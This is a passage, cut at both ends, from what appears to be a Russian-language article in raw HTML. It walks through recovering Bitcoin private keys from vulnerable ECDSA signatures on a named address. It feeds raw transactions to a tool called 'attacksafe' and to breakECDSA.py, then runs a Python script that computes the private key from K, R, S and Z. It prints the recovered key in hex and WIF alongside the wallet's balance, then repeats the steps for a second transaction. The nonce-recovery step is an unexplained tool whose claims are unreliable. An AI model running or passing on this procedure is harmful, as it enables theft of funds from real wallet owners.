class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/957\/4ca\/18e\/9574ca18e7bdf561eefaa3eebfdbef8d.png\" alt=\"\" title=\"\" width=\"1024\" height=\"253\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/957\/4ca\/18e\/9574ca18e7bdf561eefaa3eebfdbef8d.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058 Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e<\/code><\/pre>\n<hr\/>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code>.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/009\/924\/71b\/00992471b7014db591e7f9ee4dadbe4f.png\" alt=\"\" title=\"\" width=\"1024\" height=\"318\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/009\/924\/71b\/00992471b7014db591e7f9ee4dadbe4f.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/de5\/4e5\/588\/de54e558817c755f2e8dd6ecaa8419cb.png\" alt=\"\" title=\"\" width=\"1024\" height=\"453\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/de5\/4e5\/588\/de54e558817c755f2e8dd6ecaa8419cb.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55 RawTX = 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4a3\/0a0\/09c\/4a30a009c93a4acab8f196d359e2ad4c.png\" alt=\"\" title=\"\" width=\"1024\" height=\"98\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4a3\/0a0\/09c\/4a30a009c93a4acab8f196d359e2ad4c.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>(0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e , 0x8df094a6760490d279c350cf34f5ae35fd6cfea9dafd63d02d500e01ca67bcb3)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058 Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e point2gen  =   (0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e , 0x8df094a6760490d279c350cf34f5ae35fd6cfea9dafd63d02d500e01ca67bcb3) <\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code>def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55 R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058 Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f04\/525\/bf0\/f04525bf0843613a993671a984b91de6.png\" alt=\"\" title=\"\" width=\"766\" height=\"284\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f04\/525\/bf0\/f04525bf0843613a993671a984b91de6.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code>ADDR: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac WIF:  KynJKoLwF9vk8yV5HaEybRcmjQhV938rjKt5kV6A7omrVipvk9ve HEX:  4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bd7\/731\/775\/bd77317755eeec63650f219dc0d33332.png\" alt=\"\" title=\"\" width=\"830\" height=\"830\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/bd7\/731\/775\/bd77317755eeec63650f219dc0d33332.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/btc\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/u><\/strong><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/922\/73d\/f14\/92273df14dab57a224552c01f93d668e.png\" alt=\"www.blockchain.com\/btc\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" title=\"www.blockchain.com\/btc\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" width=\"1024\" height=\"444\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/922\/73d\/f14\/92273df14dab57a224552c01f93d668e.png\"\/><figcaption>www.blockchain.com\/btc\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/figcaption><\/figure>\n<p><code>BALANCE: $ 702.32<\/code><\/p>\n<hr\/>\n<blockquote>\n<p><em>\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u043e\u0442\u0435\u0440\u0438 \u043c\u043e\u043d\u0435\u0442 BTC \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0432\u0441\u0435\u043c \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u041f\u041e \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.<\/em><\/p>\n<\/blockquote>\n<hr\/>\n<p>\u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0432<code>\u00a0TXID:<\/code>\u00a0<a href=\"https:\/\/btc.exan.tech\/tx\/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea\" rel=\"noopener noreferrer nofollow\"><strong><u>e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea<\/u><\/strong><\/a>\u00a0\u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0436\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430<\/p>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" rel=\"noopener noreferrer nofollow\"><strong><u>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b2f\/b69\/be7\/b2fb69be7b1517ed55ce643b97c83706.png\" alt=\"\" title=\"\" width=\"1024\" height=\"97\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b2f\/b69\/be7\/b2fb69be7b1517ed55ce643b97c83706.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000 <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/35e\/32b\/357\/35e32b35748634f9e296b86c31945547.png\" alt=\"\" title=\"\" width=\"1024\" height=\"254\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/35e\/32b\/357\/35e32b35748634f9e296b86c31945547.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288<\/code><\/pre>\n<hr\/>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code>.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/43a\/902\/c41\/43a902c418fe3cd6c92e5269728ce357.png\" alt=\"\" title=\"\" width=\"1024\" height=\"310\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/43a\/902\/c41\/43a902c418fe3cd6c92e5269728ce357.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/65e\/4ff\/922\/65e4ff922e475e9c89c8d3a231111753.png\" alt=\"\" title=\"\" width=\"1024\" height=\"453\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/65e\/4ff\/922\/65e4ff922e475e9c89c8d3a231111753.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99 RawTX = 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d19\/367\/f15\/d19367f15267d0b8a40599a53f3eb7b5.png\" alt=\"\" title=\"\" width=\"1024\" height=\"91\" 